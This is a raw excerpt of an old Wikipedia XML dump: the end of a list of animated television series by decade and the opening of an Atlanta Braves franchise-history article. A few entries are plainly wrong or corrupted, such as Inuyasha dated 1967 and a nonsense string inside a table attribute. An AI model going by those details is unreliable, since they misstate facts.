*''[[Thundercats]]'' (1985&amp;ndash;1987)
*''[[Tom and Jerry (MGM)|The Tom and Jerry Comedy Show]]'' (1980&amp;ndash;1982)
*''[[Transformers series|Transformers]]'' (1984&amp;ndash;1987)
*''[[Ulysses 31]]'' (1981)
*''[[Visionaries: Knights of the Magical Light]]'' (1987)
*''[[Voltron]]''
*''[[Wildfire (animated)]]'' (1986&amp;ndash;1987)
*''[[The Wuzzles]]'' (1985)

==[[1990s]]==

*''[[101 Dalmatians: The Series]]'' (1997&amp;ndash;1999)
*''[[2 Stupid Dogs]]'' (1993&amp;ndash;1995)
*''[[AAAHH!!! Real Monsters]]'' (1994&amp;ndash;1998)
*''[[Adventures of Sonic the Hedgehog]]'' (1993)
*''[[The Adventures of Tintin (TV series)|The Adventures of Tintin]]'' (1990)
*''[[Æon Flux]]'' (1991&amp;ndash;1995)
*''[[Aladdin (television series)|Aladdin: The Series]]'' (1994&amp;ndash;1997)
*''[[Animaniacs]]'' (1993&amp;ndash;1996)
*''[[Archie's Weird Mysteries]]'' (1999&amp;ndash;2000)
*''[[Arthur (cartoon)|Arthur]]'' (1996&amp;ndash;2005)
*''[[Batman: The Animated Series]]'' (1992&amp;ndash;1995)
*''[[The New Batman Adventures]]'' (1997&amp;ndash;1999)
*''[[Beast Wars]]'' (1996&amp;ndash;1999)
*''[[Beavis and Butt-head]]'' (1993&amp;ndash;1997)
*''[[Big Guy and Rusty the Boy Robot]]'' (1999&amp;ndash;2001)
*''[[Blazing Dragons]]'' (1996&amp;ndash;1998)
*''[[Bobby's World]]'' (1990&amp;ndash;1998)
*''[[Bonkers]]'' (1993&amp;ndash;1995)
*''[[Bump in the Night]]'' (1994&amp;ndash;1995)
*''[[Captain Planet and the Planeteers]]'' (1990&amp;ndash;1991)
*''[[Captain Simian and the Space Monkeys]]''
*''[[Captain Star]]''
*''[[CatDog]]'' (1998&amp;ndash;2001)
*''[[Celebrity Deathmatch]]'' (1998&amp;ndash;2002)
*''[[Courage the Cowardly Dog]]'' (1999&amp;ndash;2002)
*''[[Cow and Chicken]]'' (1997&amp;ndash;1999)
*''[[Cowboy Bebop]]'' (1998)
*''[[The Critic]]'' (1994&amp;ndash;1995)
*''[[Cro]]'' (1993&amp;ndash;1994)
*''[[Cybersix]]'' (1999&amp;ndash;2000)
*''[[Daria]]'' (1997&amp;ndash;2002)
*''[[Darkwing Duck]]'' (1991&amp;ndash;1994)
*''[[Dennis the Menace (UK)]]'' (1996&amp;ndash;1998)
*''[[Detention]]''
*''[[Dexter's Laboratory]]'' (1996&amp;ndash;1999)
*''[[Digimon]]'' (1999&amp;ndash;????)
*''[[Dilbert]]'' (1999&amp;ndash;2000)
*''[[Doug]]'' (1991&amp;ndash;1999)
*''[[Duckman]]'' (1994&amp;ndash;1997)
*''[[Dragon Ball (original series)|Dragon Ball]]'' (1995)
*''[[Dragon Ball Z]]'' (1996&amp;ndash;2005)
*''[[Earthworm Jim]]'' (1995&amp;ndash;1996)
*''[[Ed, Edd n Eddy]]'' (1999&amp;mdash;)
*''[[Eek! the Cat]]'' (1992&amp;ndash;1997)
*''[[Exosquad]]'' (1993&amp;ndash;1994)
*''[[Family Guy]]'' (1999&amp;ndash;2002, 2005&amp;mdash;)
*''[[Freakazoid]]'' (1995&amp;ndash;1997)
*''[[Futurama|Futurama]]'' (1999&amp;ndash;2003)
*''[[Gadget Boy &amp; Heather]]'' (1995)
*''[[Garfield and Friends]]'' (1988&amp;ndash;1994)
*''[[Gargoyles (animated series)|Gargoyles]]'' (1994&amp;ndash;1997)
*''[[Goof Troop]]'' (1992&amp;ndash;1993)
*''[[Hello Kitty]]'s Paradise'' (1993&amp;ndash;1994)
*''[[Hercules: The Animated Series]]'' (1998&amp;ndash;2000)
*''[[Hey Arnold!]]'' (1996&amp;ndash;2004)
*''[[Home Movies (cartoon series)|Home Movies]]''
*''[[Johnny Bravo]]'' (1997&amp;ndash;2004)
*''[[Jungle Cubs]]'' (1996&amp;ndash;1998)
*''[[Dr. Katz, Professional Therapist]]'' (1995&amp;ndash;2000)
*''[[King of the Hill (TV Series)|King of the Hill]]'' (1997&amp;mdash;)
*''[[Littlest Pet Shop]] ([[1995]])
*''[[The Little Mermaid (series)|The Little Mermaid]]'' (1992&amp;ndash;1995)
*''[[The Magic School Bus]]'' (1994&amp;ndash;1997)
*''[[Marsupilami]]'' (1995)
*''[[McGee and Me]]'' (ABC Special)
*''[[Mickey Mouse Works]]'' (1999&amp;ndash;2001)
*''[[The Mighty Ducks (animated series)|The Mighty Ducks]]'' (1996&amp;ndash;1997)
*''[[Mike, Lu &amp; Og]]'' (1999&amp;ndash;2000)
*''[[Monster Force]]'' (1994)
*''[[Nightmare Ned]]'' (1997)
*''[[No-Talent Ass Clowns]]''
*''[[Oh Yeah! Cartoons]]'' (anthology series)
*''[[The Oz Kids]]''
*''[[Pepper Ann]]'' (1997&amp;ndash;2001)
*''[[Pinky and the Brain]]''
*''[[The Pirates of Dark Water]]''
*''[[Pokémon (anime)|Pokémon]]'' (1997&amp;mdash;)
*''[[The Powerpuff Girls]]'' (1998&amp;ndash;2004)
*''[[Quack Pack]]'' (1997&amp;ndash;1998)
*''[[Raw Toonage]]'' (1992)
*''[[The Ren &amp; Stimpy Show]]''
*''[[Recess (TV series)]]'' (1997&amp;ndash;2003)
*''[[Richie Rich (1996 TV series)|Richie Rich]]'' (Film Roman version)
*''[[Road Rovers]]'' (1996&amp;ndash;1997)
*''[[Rocko's Modern Life]]'' (1993-1996)
*''[[Rugrats]]'' (1991&amp;ndash;2004)
*''[[Sailor Moon]]'' (1995&amp;ndash;2000)
*''[[Sabrina, The Animated Series]]'' (1999&amp;ndash;2000)
*''[[Sam &amp; Max: Freelance Police!!!]]'' (1997&amp;ndash;1998)
*''[[Santo Bugito]]''
*''[[Silver Surfer (TV series)]]'' (1998-1999)
*''[[Sonic SatAM]] [[1993]]
*''[[Sonic Underground]]
*''[[South Park]]'' (1997&amp;mdash;)
*''[[The Schnookums and Meat Funny Cartoon Show]]'' (1994)
*''[[Space Ghost: Coast to Coast]]''
*''[[Spider-Man: The Animated Series]]'' (1994&amp;ndash;1998)
*''[[SpongeBob SquarePants]]'' (1999&amp;mdash;)
*''[[Starship Troopers]]''
*''[[Stressed Eric]]'' (1998, 2000)
*''[[Superman: The Animated Series]]''
*''[[SWAT Kats: The Radical Squadron]]'' (1993&amp;ndash;1994)
*''[[The Sylvester and Tweety Mysteries]]''
*''[[Super Mario World]] (1991-1992)
*''[[Super Mario Bros. 3]] (1990-1991)
*''[[TaleSpin]]'' (1990&amp;ndash;1995)
*''[[Taz-Mania]]'' (1991&amp;ndash;1993)
*''[[Teenage Mutant Ninja Turtles (1987 TV series)|Teenage Mutant Ninja Turtles]]'' (1987&amp;ndash;1996)
*''[[The Incredible Hulk (TV series) (1996)]] '' (1996-1999)
*''[[The Marvel Action Hour]]'' (1994-1996)
*''[[The Simpsons]]''
*''[[The Three Friends and Jerry]]''
*''[[The Tick]]''
*''[[Timon and Pumbaa]]'' (1995&amp;ndash;1999)
*''[[Tiny Toon Adventures]]''
*''[[The What-A-Cartoon! Show]]'' (anthology series)
*''[[The Wheezer Bros.]]''
*''[[What-A-Mess!]]'' (1995)
*''[[Where on Earth is Carmen Sandiego?]]''
*''[[Wild West Cowboys of Moo Mesa]]''(1992&amp;ndash;1994)
*''[[Wish Kid]]'' (1991)
*''[[The Wizard of Oz]]'' (1990)
*''[[X-Men (animated series)|X-Men]]''

==[[2000s]]==

*''[[6teen]]''(2004&amp;mdash;)
*''[[The Adventures Of Jimmy Neutron: Boy Genius]]''(2002&amp;mdash;2006)
*''[[Alienators: Evolution Continues]]''
*''[[All Grown Up!]]'' (2003&amp;mdash;)
*''[[American Dragon: Jake Long]]'' (2005&amp;mdash;)
*''[[Aqua Teen Hunger Force]]'' (2000&amp;mdash;)
*''[[As Told By Ginger]]''(2000&amp;mdash;2006)
*''[[Astro Boy]]''
*''[[Atomic Betty]]''
*''[[Atom: Alpha Teens On Machines]]''
*''[[Avatar: The Last Airbender]]''(2005&amp;mdash;)
*''[[Baby Looney Tunes]]'' (2002&amp;ndash;2005)
*''[[The Batman (TV series)|The Batman]]''
*''[[Batman Beyond]]''
*''[[The Boondocks (television series)|The Boondocks]]'' (2005&amp;mdash;)
*''[[Ben 10]]'' (2006&amp;mdash;)
*''[[Beyblade]]''
*''[[Braceface]]''(2001&amp;mdash;2005)
*''[[Brandy &amp; Mr. Whiskers]]'' (2004&amp;mdash;)
*''[[The Brak Show]]''(2000&amp;mdash;2003)
*'' [[Bromwell High]]
*''[[Buzz Lightyear of Star Command]]'' (2000&amp;ndash;2003)
*''[[The Buzz on Maggie]]'' (2005&amp;mdash;)
*''[[Camp Lazlo]]'' (2005&amp;mdash;)
*''[[Carl Squared|Carl&lt;sup&gt;2&lt;/sup&gt;]]''
*''[[ChalkZone]]''(2002&amp;mdash;2005)
*''[[Clangers]]''
*''[[Class of the Titans]]''
*''[[Clerks: The Animated Series]]''
*''[[Clone High]]''
*''[[Code Lyoko]]''(2004&amp;mdash;)
*''[[Codename: Kids Next Door]]''
*''[[Cyberchase]]''
*''[[Da Boom Crew]]''
*''[[Danny Phantom]]'' (2004&amp;mdash;2007)
*''[[Dave the Barbarian]]''(2004&amp;mdash;2005) 
*''[[Dexter's Laboratory]]'' (2001&amp;ndash;2004)
*''[[Dragon Ball (original series)|Dragon Ball]]'' (2001&amp;ndash;2003)
*''[[Dragon Ball Z]]'' (1996&amp;ndash;2005)
*''[[Dragon Ball GT]]'' (2003&amp;ndash;2005)
*''[[Dragon Booster]]''
*''[[Drawn Together]]''(2004&amp;mdash;)
*''[[Duck Dodgers]]''(2003&amp;mdash;2005)
*''[[The Emperor's New School]]''(2006&amp;mdash;)
*''[[Evil Con Carne]]'' (2003)
*''[[The Fairly OddParents]]''(2001&amp;mdash;2006)
*''[[Fantastic Four: World's Greatest Heroes]]'' (in development)
*''[[Father of the Pride]]''
*''[[Fillmore!]]'' (2002&amp;ndash;2004)
*''[[Flint the Time Detective]]'' 
*''[[Foster's Home for Imaginary Friends]]''(2004&amp;mdash;)
*''[[Fullmetal Alchemist]]''  (2004&amp;mdash;)
*''[[Inuyasha]](1967-)
*''[[Gadget and the Gadgetinis]]''
*''[[Game Over (TV series)|Game Over]]''
*''[[Gary the Rat]]''(2003&amp;mdash;)
*''[[Get Ed]]''
*''[[God, the Devil and Bob]]'' (2000)
*''[[The Grim Adventures of Billy and Mandy]]''(2001&amp;mdash;)
*''[[Hamtaro]]''
*''[[Harvey Birdman, Attorney at Law]]''(2000&amp;mdash;)
*''[[Howard Stern, The High School Years]]'' (in development)
*''[[Hi Hi Puffy AmiYumi]]''
*''[[House of Mouse]]'' (2001&amp;ndash;2004)
*''[[Invader Zim]]''(2001&amp;mdash;2002)
*''[[Jackie Chan Adventures]]''(2000&amp;mdash;2005)
*''[[Justice League (animated series)|Justice League]]''
*''[[Justice League Unlimited]]''
*''[[Kim Possible]]'' (2002&amp;ndash;)
*''[[Lloyd in Space]]'' (2001&amp;ndash;2004)
*''[[The Legend of Tarzan]]'' (2001&amp;ndash;2003)
*''[[The Life and Times of Juniper Lee]]''(2005&amp;mdash;)
*''[[Lilo &amp; Stitch: The Series]]'' (2003&amp;ndash;2005)
*''[[Martin Mystery]]''(2005&amp;mdash;)
*''[[Masters of the Universe]]'' (2002&amp;mdash;)
*''[[Medabots]]''
*''[[Megas XLR]]''
*''[[Monkey Dust]]''
*''[[¡Mucha Lucha!]]''
*''[[My Dad the Rock Star]]''(2003&amp;mdash;2005)
*''[[My Life as a Teenage Robot]]''(2003&amp;mdash;2006)
*''[[Naruto]]''(2005&amp;mdash;)
*''[[One Piece]]''(2005&amp;mdash;)
*''[[Ozzy &amp; Drix]]''
*''[[Perfect Hair Forever]]'' (2005&amp;mdash;) 
*''[[Pokémon]]'' (1998&amp;mdash;)
*''[[The Powerpuff Girls]]'' (1998&amp;ndash;2004)
*''[[The Proud Family]]'' (2001&amp;ndash;2005)
*''[[Ren &amp; Stimpy Adult Party Cartoon]]''
*''[[Rocket Power]]''(1999&amp;mdash;2004)
*''[[Roobarb|Roobarb and Custard Too]]'' (2005)
*''[[Sabrina's Secret Life]]'' (2003&amp;ndash;2004)
*''[[Samurai Jack]]'' (2001&amp;ndash;2003)
*''[[Sealab 2021]]''(2001&amp;mdash;2005)
*''[[Sheep in the Big City]]'' (2000&amp;ndash;2001)
*''[[Silverwing]]''
*''[[Sonic X]]
*''[[South Park]]''(1997&amp;mdash;)
*''[[Static Shock]]''
*''[[Stripperella]]''
*''[[Super Robot Monkey Team Hyperforce Go!]]'' (2004&amp;mdash;)
*''[[Teacher's Pet]]'' (2000&amp;ndash;2002)
*''[[Teamo Supremo]]'' (2002&amp;ndash;2004)
*''[[Teen Titans (animated series)|Teen Titans]]'' (2003&amp;ndash;2006)
*''[[Teenage Mutant Ninja Turtles (2003 TV series)|Teenage Mutant Ninja Turtles]]'' (2003&amp;mdash;)
*''[[This Just In]]''
*''[[The Tofus]]''
*''[[The Secret Files of the Spy Dogs]]''
*''[[Time Squad]]''
*''[[Totally Spies]]''
*''[[Transformers Armada]]''
*''[[Tutenstein]]''
*''[[Ultimate M.U.S.C.L.E.]]''
*''[[Un Posto al Sole Cartoon - UPASC]]''
*''[[Turboman: The Animated Series)|Turboman: The Animated Series]]'' (2005&amp;mdash;)
*''[[The Venture Bros.]]''(2004&amp;mdash;)
*''[[The Weekenders]]'' (2000&amp;ndash;2004)
*''[[What About Mimi|What About Mimi?]]''
*''[[What's New Scooby-Doo|What's New Scooby Doo?]]'' (2002&amp;mdash;)
*''[[What's with Andy?]]''
*''[[Whatever Happened to Robot Jones|Whatever Happened to Robot Jones?]]''
*''[[Winx Club]]''
*''[[W.I.T.C.H.]]''
*''[[X-Men: Evolution]]''
*''[[Xiaolin Showdown]]''
*''[[Yu-Gi-Oh]]''(1999&amp;mdash;)
*''[[Zeroman]]''

==See also==
*[[Adult animation]]
*[[Animation in the United States in the television era]]
*[[Anime]]
*[[Cartoon Network]]
*[[Cartoon Network Studios]] (formerly Hanna-Barbera Productions)
*[[Children's television series]]
*[[Disney Channel]]
*[[Filmation]]
*[[Klasky-Csupo, Inc.]]
*[[Modern animation of the United States]]
*[[Nickelodeon (TV channel)|Nickelodeon]]
*[[Saturday morning cartoon]]
*[[Toon Disney]]
*[[Voice actor]]
*[[Walt Disney Television Animation]]

==External links==

* [http://www.toonopedia.com/ Don Markstein's Toonopedia] - very large index page
* [http://www.bcdb.com/ The Big Cartoon Database]
* [http://www.tv.com/ TV.com]
* [http://80scartoons.net/toons/ 80sCartoons] nostalgia for those who grew up in the 80s in [[Western world|the West]]
* [http://www.seriesweb.com/indexing.asp SeriesWev] All cartoon series episode lists and ringtones

[[bg:&amp;#1040;&amp;#1085;&amp;#1080;&amp;#1084;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1086;&amp;#1085;&amp;#1077;&amp;#1085; &amp;#1092;&amp;#1080;&amp;#1083;&amp;#1084;]]

[[Category:Animation]]
[[Category:Lists of television series|Animated series]]
[[Category:Animated television series|*]]

[[pt:Lista de desenhos animados]]
[[zh:&amp;#21160;&amp;#30011;&amp;#24433;&amp;#38598;]]</text>
    </revision>
  </page>
  <page>
    <title>Atlanta Braves</title>
    <id>2140</id>
    <revision>
      <id>41646713</id>
      <timestamp>2006-02-28T19:47:17Z</timestamp>
      <contributor>
        <username>Hikui87</username>
        <id>987652</id>
      </contributor>
      <comment>/* Minor league affiliates */</comment>
      <text xml:space="preserve">{{MLB infobox Braves}}

The '''Atlanta Braves''' are a [[Major League Baseball]] team based in [[Atlanta, Georgia]].  They are in the [[National League East|Eastern Division of the National League]]. They are most recently known for their ongoing record of 11 consecutive division championships from [[1995]] to [[2005]] and 14 out of 15 (except the strike-shortened 1994 season), the most in any professional North American sport. However, they have not been as successful in the World Series, having won only one and losing four during that time.  The Braves have won 16 divisional titles, 17 National League pennants, and 3 World Series championships ([[1914 World Series|1914]], [[1957 World Series|1957]], and [[1995 World Series|1995]]).  

== Franchise history ==
===The Boston years===
The Boston franchise that became known as the Braves took part in some of baseball's most memorable moments, achievements, and pennant races. None were more remarkable than the mid-season last-to-first transformation of the 1914 &quot;Miracle&quot; Braves. After a dismal 4-18 start  to the season, the fanbase was turned off, as it looked like the Braves were headed for another bottom-feeder season. Everything that could have gone wrong, did go wrong. After losing both games of a doubleheader to the visiting [[Brooklyn Dodgers]] on July 4, Boston's record stood at 26-40, 15 games behind the league-leading [[San Francisco Giants|New York Giants]].  The only man left believing was the team's manager, &quot;Miracle Man&quot; [[George Stallings]]. Slowly, the team began to turn itself around. It had solidified around the phenomenal double-play tandem of [[Rabbit Maranville]] and [[Johnny Evers]] (of &quot;Tinker to Evers to Chance&quot; fame), and a strong starting rotation led by [[Lefty Tyler]], [[Dick Rudolph]], and [[Bill James (baseball player)|Bill James]]. When the team rallied to sweep the [[Cincinnati Reds]] in a doubleheader on July 19, Stallings declared that the team was playing ball better than any other in the league, and was ready to catch New York. From there came a romp unmatched in baseball history. When the Giants came to Boston for a three-game series on September 7-8, the Braves had won 41 of 53 games since July 4.  Boston won two of the three contests to take sole possession of first place. From that point, the Braves won 25 of their final 31 games, while the Giants went 16-16. The Braves went 68-19 after July 4; not only did they finish first, but they ended up 10.5 games ahead of the second place Giants.
The team entered the World Series as a heavy underdog to [[Connie Mack (baseball)|Connie Mack]]'s [[Oakland Athletics|Philadelphia A's]]. Nevertheless, the Braves dominated the series in every phase, and swept away the favored Athletics. They were now World Champions. The turnaround was complete. The team was at the top of the league in both pitching, and hitting, and its leader, Evers, won the Chalmers Award, which is equivalent to today's MVP. A miraculous season of these proportions has never been seen since in professional sports.

In 1948 the team won the pennant, behind the pitching of [[Warren Spahn]] and [[Johnny Sain]] who won 39 games between them. The remainder of the rotation was so thin that in September the Boston Post journalist Gerald Hern characterized them by the poem
:''First we'll use Spahn''
:''then we'll use Sain''
:''Then an off day''
:''followed by rain''
:''Back will come Spahn''
:''followed by Sain''
:''And followed''
:''we hope''
:''by two days of rain.''
The poem received such a wide audience that the sentiment, usually now paraphrased as ''&quot;Spahn and Sain and pray for rain&quot;'', entered the baseball vocabulary. Ironically, in the 1948 season, the Braves actually had a better record in games that Spahn and Sain ''did not'' start than in games they did.

===The Milwaukee years===
Their two pennants notwithstanding, the Braves term in Boston was not a successful time.  Attendances steadily dwindled until, on [[March 13]] [[1953]], then-owner [[Lou Perini]] announced he was moving the team to [[Milwaukee, Wisconsin]], where the Braves had their top farm club, the [[Milwaukee Brewers minor league|Brewers]].  Milwaukee had long been a possible target for relocation - [[Bill Veeck]] had tried to move his [[St. Louis Browns]] there years earlier but was voted down by the other [[American League]] owners.

As the [[1950s]] progressed the reinvigorated Braves became increasingly competitive.  Sluggers [[Eddie Mathews]] and [[Hank Aaron]] drove the offense (they would hit a combined 863 home runs as Braves), whilst Spahn, [[Lew Burdette]] and [[Bob Buhl]] anchored the rotation.  In 1957, the Braves celebrated their first pennant in nine years led by Aaron's [[MLB Most Valuable Player Award|MVP season,]] leading the National League in home runs and RBIs.  The postseason culminated in the Braves' first [[World Series]] win in over 40 years, defeating the [[New York Yankees]] of [[Yogi Berra|Berra]], [[Mickey Mantle|Mantle]] and [[Whitey Ford|Ford]] in seven games.  Burdette, the Series MVP, threw three complete game victories, giving up only two earned runs.

In 1958, the Braves again won the National League pennant and jumped out to a three games to one lead in the World Series against New York once more, thanks in part to the strength of Spahn's and Burdette's pitching.  But the Yankees stormed back to take the last three games, in large part to World Series MVP [[Bob Turley|Bob Turley's]] pitching.  The 1959 season saw the Braves finish the season in a tie with the [[Los Angeles Dodgers]], but Milwaukee fell in a three-game playoff with two straight losses to Los Angeles.  The Dodgers would go on to defeat the [[Chicago White Sox]] in the World Series. Many residents of Chicago and Milwaukee had been hoping for a Sox-Braves Series, as the cities are only about 75 miles apart, but it was not to be.

The next six years were the very definition of up-and-down for the Braves.  The 1960 season featured two no-hitters by Burdette and Spahn, and Milwaukee finished seven games behind the [[Pittsburgh Pirates]] in second place.  The 1961 season saw a drop in the standings for the Braves (fourth), despite Warren Spahn recording his 300th victory and pitching another no-hitter that year.

Hank Aaron hit 45 home runs in 1962, a Milwaukee career high for him, but that didn't translate in wins for the Braves as they finished fifth.  In 1963, Aaron led the league with 44 home runs and Spahn was once again the ace of the staff, going 23-7.  However, none of the other Braves produced at that level, and the team finished in the lower half of the league, or the &quot;second division&quot;, for the first time in its short history in Milwaukee.

The Milwaukee Braves have the distinction of being the only Major League club to never suffer a losing season.

===The Atlanta years===
By the early [[1960s]], a new group of owners (based out of Chicago) sought relocation to a larger television market.  Keen to attract them, the City of Atlanta constructed a new ballpark, Atlanta Stadium, which was officially opened in 1965.  The Braves announced their intention to move to Atlanta for the 1965 season, but a lawsuit filed in Wisconsin kept the Braves in Milwaukee for one final year.  In 1966, the Braves completed the move to Atlanta.  A .500 baseball team in the first few years (85-77, 77-85 and 81-81 respectively), they won the 1969 NL West pennant, before being swept by the &quot;Miracle [[New York Mets|Mets]]&quot; in the NLCS. They would not win it again until [[1982]], under [[Joe Torre]].

In the meantime, fans had to be satisfied with the achievements of [[Hank Aaron]].  In the relatively hitter friendly confines of Atlanta Stadium (&quot;The Launching Pad&quot;), he actually increased his offensive production, and by the end of the 1973 season had hit 713 home runs, one short of [[Babe Ruth]]'s record.  Throughout the winter he received racially motivated death threats, but stood up well under the pressure.  The next season, it was only a matter of time before he set a new record.  On [[April 4]] he hit #714 in [[Cincinnati Reds|Cincinnati]], and on [[April 8]], in front of his home fans, he finally beat Ruth's mark.

In 1976 the team was purchased by media magnate [[Ted Turner]], owner of [[superstation]] [[WTBS]]. It was then that Atlanta Stadium was re-named [[Atlanta-Fulton County Stadium]]. Turner quickly gained a reputation as a quirky, hands-on baseball owner. On May 11, 1977, Turner appointed himself manager, but was ordered to relinquish that position after one game (the Braves lost 2-1 to the Pirates to bring their losing streak to 17 games).  This is because MLB has not allowed owners to manage their teams since Connie Mack of the A's died.

After three straight losing seasons, [[Bobby Cox]] was hired for his first stint as manager of the franchise for the 1978 season. Cox promoted a 22-year-old slugger named [[Dale Murphy]] into the starting lineup. Murphy hit 77 home runs over the next three seasons, but struggled on defense, positioned at either catcher or first base while being unable to adeptly play either. However, in 1980, Murphy was moved to center field and demonstrated excellent range and throwing ability, while the Braves earned their first winning season since 1974. Cox was fired after the 1981 season and replaced with [[Joe Torre]], under whose leadership the Braves attained their first divisional title since 1969. Strong performances from [[Bob Horner]], [[Chris Chambliss]], pitcher [[Phil Niekro]], and short relief pitcher [[Gene Garber]] helped the Braves, but no Brave was more acclaimed than Murphy, who won both a [[MLB Most Valuable Player award|Most Valuable Player]] and a [[Gold Glove Award|Gold Glove]] award. Murphy also won a Most Valuable Player award the following season, but the Braves began a period of decline that defined the team throughout the 1980s. Murphy, excelling in defense, hitting, and running, was consistently recognized as one of the league's best players, but the Braves averaged only 65 wins per season between 1985-1990.  The 1986 season saw the return of Bobby Cox to the Braves organization as general manager.

Cox was promoted to manager in the middle of the 1990 season, replacing Russ Nixon.  Not only was this season a losing effort, the Braves traded Dale Murphy to the [[Philadelphia Phillies]] after it was clear he was becoming a less dominant player. However, pitching coach [[Leo Mazzone]] began training young pitchers [[Tom Glavine]], [[Steve Avery]], and [[John Smoltz]]. Perhaps the Braves' most important move, however, was not on the field, but in the front office. Immediately after the season, [[John Schuerholz]] was hired as general manager.

The following season, Glavine, Avery, and Smoltz would be recognized as the best young pitchers in the league, winning 52 games between them. Meanwhile, behind position players [[David Justice|Dave Justice]], [[Ron Gant]] and unexpected league Most Valuable Player and batting-average leader [[Terry Pendleton]], the Braves overcame a slow start to go 47-22 over the last three months of the season and win 8 of their last 9, edging the [[Los Angeles Dodgers]] by one game in one of baseball history's more memorable playoff races. They defeated the [[Pittsburgh Pirates]] in a tightly contested seven-game [[National League Championship Series|NLCS]] only to lose the [[World Series]], also in seven games, to the [[Minnesota Twins]]. Despite the loss, the Braves' success would continue. In the 1992 season, the Braves would reach the NLCS again and defeat, once again, in seven games, the Pirates, only to lose in the World Series to a dominating [[Toronto Blue Jays]] team. In 1993, the Braves signed [[Cy Young Award]] winning pitcher [[Greg Maddux]], leading many baseball insiders to declare the pitching staff the best of all-time. The Braves would win a World Series in 1995, defeating the [[Cleveland Indians]] in six games. With this World Series victory, the Braves became the first team in Major League Baseball to win world championships in three different cities. With their strong pitching being a constant, the Braves would also appear in the 1996 and 1999 World Series, and have an ongoing streak of 14 straight division titles. Pitching is not the only constant in the Braves organization. At present, Cox is still the Braves' manager, and Schuerholz remains the team's GM, though Mazzone moved on to become the pitching coach of the Baltimore Orioles shortly after the 2005 season. Pendleton did not finish his playing career in Atlanta, but has returned to the Braves system as the hitting coach.

During the Braves' rise to prominence in the early [[1990s]], their long-standing ethnic nickname came under much closer scrutiny. The team was especially criticized for selling plastic and foam tomahawks, encouraging the so-called &quot;tomahawk chop&quot; and the accompanying war cry emitted by the fans. Ironically, many of those tomahawks were made by [[Cherokee]] manufacturers in [[North Carolina]]. Their response to the criticism was the pragmatic answer, &quot;As long as they keep buying them, we'll keep making them.&quot;

In 2001, Atlanta won the [[National League]] East division, swept the [[National League Division Series|NLDS]] against the [[Houston Astros]], then lost to the [[Arizona Diamondbacks]] in the [[NLCS]]. In 2002, 2003 and 2004, the Braves won their division again, but lost in the NLDS in all three years 3 games to 2 to the [[San Francisco Giants]], [[Chicago Cubs]], and [[Houston Astros]], respectively. In 2005, the Braves won their 11th consecutive division title. This pennant marked the first time any MLB team made the postseason with more than 4 rookies who each had more than 100 ABs.  However, they lost the National League Division series to the Astros in 4 games with the final game being the longest game in playoffs history at 18 innings and 5 hours 50 minutes (it ended with a walk-off home run by [[Chris Burke]]).

==Quick facts==
:'''Founded:''' [[1871 in sports|1871]] in [[Boston, Massachusetts]] as the [[Boston Red Stockings]] of the [[National Association of Professional Baseball Players|National Association]].  The club became a charter member of the [[National League]] in [[1876 in sports|1876]] and has remained in the league without a break since then. The Braves are the oldest continuously operating sports franchise in North American sports. Arguably, they can trace their ancestry to the original [[Cincinnati Reds|Cincinnati Red Stockings]] of 1869-1870, baseball's first openly professional team.  When the N.A. formed, Cincinnati's backers declined to field a team in the new league, and Red Stockings player-manager [[Harry Wright]] along with three of the best players from that team moved collectively to Boston and took the nickname with them.
:'''Formerly known as:''' [[Boston, Massachusetts|Boston Braves]] ([[1912 in sports|1912]]-[[1952 in sports|1952]]), and [[Milwaukee|Milwaukee Braves]] ([[1953 in sports|1953]]-[[1965 in sports|1965]]). Prior to 1912, the Boston team had several unofficial nicknames:  &quot;Red Stockings&quot; in the [[1870s]] and [[1880s]]; &quot;Beaneaters&quot; in the [[1890s]] and early [[1900s]]; &quot;Doves&quot; (when the Dovey family owned the franchise, [[1907 in sports|1907]]-[[1910 in sports|1910]]) and &quot;Rustlers&quot; (when [[William Russell (lawyer)|William Russell]] owned the franchise, [[1911 in sports|1911]]).  Following the [[1935 in sports|1935]] season, after enduring bankruptcy and a series of poor seasons, new owner [[Bob Quinn (baseball)|Bob Quinn]] asked a team of sportswriters to choose a new nickname, to change the team's luck.  The sportswriters chose &quot;Bees&quot;, which was adopted in [[1936 in sports|1936]], though it never really caught on, with Quinn even refusing to use it, although their home uniforms in this interval were changed to feature a large block letter B (&quot;bee&quot;).  The team dropped the nickname in [[1941 in sports|1941]], using only the official name &quot;Braves&quot; from 1941 on.
:'''Ownership:''' [[Time Warner]]
:'''Uniform colors:''' Navy blue, Garnet red, and White
:'''Logo design:''' The script word &quot;Braves&quot; above a [[Tomahawk (axe)|tomahawk]]
:'''Playoff appearances''' (20): 1914, 1948, 1957, 1958, 1969, 1982, 1991, 1992, 1993, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
:'''National Association pennants won''' (4): [[1872 in sports|1872]], [[1873 in sports|1873]], [[1874 in sports|1874]], [[1875 in sports|1875]]
:'''Official television stations''': [[TBS (TV network)|TBS]], [[Turner South]], [[Fox Sports South]]
:'''Official radio station''': WKLS-FM, WGST-AM (flagship)
:'''Famous fans''': [[Jimmy Carter]], [[Elton John]], [[Cee-Lo]], [[Ludacris]], [[Lil Jon]], [[Jeff Foxworthy]], [[RuPaul]]

==[[Baseball Hall of Fame]]rs==
{|
|valign=&quot;topbibibibkbkbkbkbkbkbkbkbkbkbk&quot;|
Boston
*[[Earl Averill]]
*[[Dave Bancroft]]
*[[Dan Brouthers]]
*[[John Clarkson]]
*[[Jimmy Collins]]
*[[Hugh Duffy]]
*[[Johnny Evers]]
*[[Burleigh Grimes]]
*[[Billy Hamilton]]
*[[Billy Herman]]
*[[Rogers Hornsby]]
*[[Joe Kelley]]
*[[King Kelly]]
*[[Ernie Lombardi]]
*[[Al Lopez]]
*[[Rabbit Maranville]]
*[[Rube Marquard]]
*[[Tommy McCarthy]]
*[[Bill McKechnie]]
*[[Joe Medwick]]
*[[Kid Nichols]]
*[[Jim O'Rourke (baseball player)|Jim O'Rourke]]
*[[Charles Radbourn]]
*[[Babe Ruth]] (28 games in 1935)
*[[Al Simmons]]
*[[George Sisler]]
*[[Warren Spahn]]
*[[Casey Stengel]]
*[[Ed Walsh]]
*[[Lloyd Waner]]
*[[Paul Waner]]
*[[Vic Willis]]
*[[George Wright (baseball)|George Wright]]
*[[Harry Wright]]
*[[Cy Young]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
Milwaukee
*[[Henry Aaron]]
*[[Eddie Mathews]]
*[[Phil Niekro]]
*[[Red Schoendienst]]
*[[Enos Slaughter]]
*[[Warren Spahn]]

Atlanta
*[[Henry Aaron]]
